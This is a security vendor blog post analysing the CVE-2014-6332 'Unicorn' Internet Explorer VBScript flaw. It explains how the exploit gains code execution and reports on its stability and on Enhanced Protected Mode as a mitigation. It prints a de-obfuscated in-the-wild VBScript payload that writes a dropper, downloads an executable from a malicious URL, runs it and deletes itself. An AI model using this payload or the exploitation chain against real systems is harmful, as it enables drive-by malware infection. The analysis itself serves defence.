CVE-2014-6332: Life is all Rainbows and Unicorns
Though just patched earlier this month, the CVE-2014-6332 vulnerability shares it’s age with Yahoo, Neopets, and the hit TV show, Friends. This Windows vulnerability, also known as the “Unicorn” bug, has been exploited in the wild with help of a Visual Basic Script. It impacts almost every version of Microsoft Windows from Windows 95 onwards, and can be exploited in Internet Explorer versions 3 to 11, inclusive. This complex vulnerability gets its name from being extremely rare, somewhat like a unicorn. After all, it’s not every day you come across a unicorn galloping through your front yard.
A lot has already been said about this vulnerability. The bug is caused due to the IE VBScript engine not handling re-sizing an array properly. By abusing this, one can achieve remote code execution, bypassing protections such as DEP and ASLR. To explain the vulnerability in a nutshell – there exists a control flow such that if you request to re-size an array and an error occurs (e.g. OutOfMemoryError), the new size will be maintained (as opposed to being reset). After triggering the vulnerability, you will be able to access the out-of-bound elements of the array. The exploit then uses this vulnerability to perform type confusion. Original IBM Security Intelligence article describes the bug in great detail and a Trendmicro blog walks through the PoC.
Once type confusion is achieved, one could adopt Yang Yu’s approach to leak memory addresses using BSTR. An attacker would just need to change the array’s element type to BSTR and then corrupt its header. This will essentially allow any memory address to be leaked, thus, easily allowing an attacker to determine the location of COleScript – an object holding safety flags for the VB interpreter. Normally, some VB functionality, such as file system interaction and program launching, is restricted in the browser. However, resetting the respective flag allows an attacker to operate within IE as if it was a standalone VB shell.
In fact, the PoC is so straightforward that using it is trivial – one just needs to swap in their VB payload and it’s ready to ship for exploit kits and drive-by campaigns. Last week, we got hold of a Fiddler capture of a malicious web page exploiting this vulnerability.
The de-obfuscated payload looks like this:
set shell=createobject("Shell.Application") shell.ShellExecute "cmd.exe", " /c echo Set Post = CreateObject(""Msxml2.XMLHTTP"") >> c:\\nb.vbs & echo Set Shell = CreateObject(""Wscript.Shell"") >> c:\\nb.vbs & echo Post.Open ""GET"", "&nbnburl&" ,0 >> c:\\nb.vbs & echo Post.Send() >> c:\\nb.vbs & echo Set aGet = CreateObject(""ADODB.Stream"") >> c:\\nb.vbs & echoaGet.Mode = 3 >> c:\\nb.vbs & echo aGet.Type = 1 >> c:\\nb.vbs & echo aGet.Open() >> c:\\nb.vbs & echo aGet.Write(Post.responseBody) >> c:\\nb.vbs & echo aGet.SaveToFile ""c:\\zl.exe"",2 >> c:\\nb.vbs & echo wscript.sleep 1000 >> c:\\nb.vbs & echo Shell.Run (""c:\\zl.exe"") >> c:\\nb.vbs & echo Set fsox = CreateObject(""Scripting.Filesystemobject"") >> c:\\nb.vbs & echo fsox.DeleteFile(WScript.ScriptFullName) >> c:\\nb.vbs & c:\\nb.vbs"
After the payload launches a shell, it connects to nbnburl (a link to a malicious exe). The server response is saved in the C:\ drive as zl.exe, which is then executed.
It should be noted that during our testing phase, the exploit didn’t work every single time. We conducted a series of experiments where we ran our exploit 25 times, and recorded how many runs resulted in a shell. Our observations indicate success rates ranging from 8/25 to 25/25. Of course, a better experiment could be designed, offering more statistically accurate results. In our case, we were testing to see if the exploit was 100% stable. Turns out, it isn’t. The one exception is IE 11 with enhanced protected mode, which thwarted the Unicorn exploit 25/25 times! EPM is disabled by default due to several compatibility issues, so users must manually enable it under Settings->Internet Options->Advanced, and check “Enable Enhanced Protected Mode” under Security.
For Bromium customers, this attack isn’t any different from other drive-by-downloads – the attack will be isolated and the following LAVA graph will be recorded:
This bug really is a special one — it’s reasonably stable, it is able to bypass the security mechanisms implemented in the latest Windows system, and it doesn’t require any 3rd party plugins (such as Java Runtime). Therefore, the impact factor is going to be enormous since it’s unlikely that all users will instantly update their systems.
The question now is, wouldn’t it be safer to simply disable all backwards compatibility features and get rid of the legacy software? The easy answer is yes, but if we scrutinize this matter a bit we can see that it’s not that straightforward. Backwards compatibility is there for a reason – if a software update changes the workflow of an application, users must be given an option to return to their old setup. This minimizes failures that could be caused by the patches.
Unfortunately, there’s no easy solution, and software update management is a huge problem today. Isolation is one viable way to address this issue.